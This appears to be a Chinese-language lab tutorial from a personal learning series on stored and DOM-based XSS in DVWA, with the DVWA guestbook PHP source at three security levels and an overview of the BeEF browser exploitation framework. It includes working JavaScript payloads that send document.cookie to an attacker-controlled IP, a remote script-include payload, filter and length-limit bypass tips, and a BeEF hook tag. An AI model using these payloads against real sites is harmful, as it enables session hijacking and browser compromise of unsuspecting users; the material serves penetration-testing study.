小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS
【XSS原理】
存储型XSS
1、可长期存储于服务器端
2、每次用户访问都会被执行js脚本,攻击者只需侦听指定端口
#攻击利用方法大体等于反射型xss利用
##多出现在留言板等位置
*推荐使用burpsuite
a、观察返回结果,是否原封不动地返回输入数据?是否有其他标签
js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗
b、测试加载攻击者控制的服务器中的js文件
#启动apache2【默认侦听80端口】
a.js 【盗取客户端cookie信息,并把它上传到攻击者控制的服务器的PHP文件】
1 var img = new Image(); 2 img.src = "http://192.168.56.102:88/cookies.php?cookie="+document.cookie;
***默认在客户端进行长度的限制,可用burpsuite进行绕过或直接修改HTML代码中的长度限制 【安全性好的,同时在客户端跟服务器端进行长度限制】
<script src="http://192.168.56.102/a.js"></script>
###使用nc演示效果,侦听88端口,提交成功/刷新页面,即可成功获得cookie
代码审计 【以下代码只是对输入数据进行过滤】
low
1 <?php 2 3 if(isset($_POST['btnSign'])) 4 { 5 6 $message = trim($_POST['mtxMessage']); 7 $name = trim($_POST['txtName']); 8 9 // Sanitize message input 10 $message = stripslashes($message); 11 $message = mysql_real_escape_string($message); 12 13 // Sanitize name input 14 $name = mysql_real_escape_string($name); 15 16 $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; 17 18 $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 19 20 } 21 22 ?>
medium 【Name输入框输出结果:还是原型,但js脚本已是普通文本(目前理想的过滤方法);Message中还存在】
1 <?php 2 3 if(isset($_POST['btnSign'])) 4 { 5 6 $message = trim($_POST['mtxMessage']); 7 $name = trim($_POST['txtName']); 8 9 // Sanitize message input 10 $message = trim(strip_tags(addslashes($message)));//addslashs():增加反斜线;strip_tags():过滤HTML标签; 11 $message = mysql_real_escape_string($message); 12 $message = htmlspecialchars($message); //进行html编码,<>会被编码 13 14 // Sanitize name input 15 $name = str_replace('<script>', '', $name);//删除<script>,********可用拆分绕过 16 $name = mysql_real_escape_string($name); 17 18 $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; 19 20 $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 21 22 } 23 24 ?>
high
1 <?php 2 3 if(isset($_POST['btnSign'])) 4 { 5 6 $message = trim($_POST['mtxMessage']); 7 $name = trim($_POST['txtName']); 8 9 // Sanitize message input 10 $message = stripslashes($message); 11 $message = mysql_real_escape_string($message); 12 $message = htmlspecialchars($message); 13 14 // Sanitize name input 15 $name = stripslashes($name); 16 $name = mysql_real_escape_string($name); 17 $name = htmlspecialchars($name); 18 19 $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; 20 21 $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 22 23 } 24 25 ?>
一套js和其他语言都可以调用的标准的API
#本质上跟反射型中利用src的方法一样,只是调用的函数不一样而已
<script> var img = document.createElement("img"); img.src = "http://192.168.56.102:88/cookies.php?cookie="+escape(document.cookie); </script>
BeEF是目前欧美最流行的web框架攻击平台,它的全称是 the Browser exploitation framework project。
可用于生成、交互payload【内含大量模块,payload】
ruby编写
服务器端:管理hooked客户端
客户端:运行于客户端浏览器的JavaScript脚本
浏览器攻击面
应用普遍转移到B/S架构,浏览器成为统一客户端程序
大部分需要结合社会工程学方法对浏览器进行攻击
攻击浏览器用户
通过注入的JS脚本,利用浏览器攻击其他网站
攻击手段
利用网站xss漏洞实现攻击
诱使客户端访问含有hooked的伪造站点
结合中间人攻击注入hooked脚本
常见用途
键盘记录器
网络扫描
浏览器信息收集
绑定shell
与metasploit集成
a、默认登录账号密码beff/beff
b、<script src="http://127.0.0.1:3000/hook.js"></script>
c、模块
1、Browser 浏览器类型(可得cookie,OS等信息)
【点击对应模块即可使用,响应速度比较慢,绿色为适用;橙色也是可用,但是会被客户端使用者发现;红色可能不可用;灰色未知是否可用】
2、Exploits 漏洞利用模块
3、Network 【可用作僵尸机】
4、Persistence 当页面被关闭(主机未离线),仍可对hooked客户端进行操作【持久hooked,建议当一台主机受害后,马上进行该操作】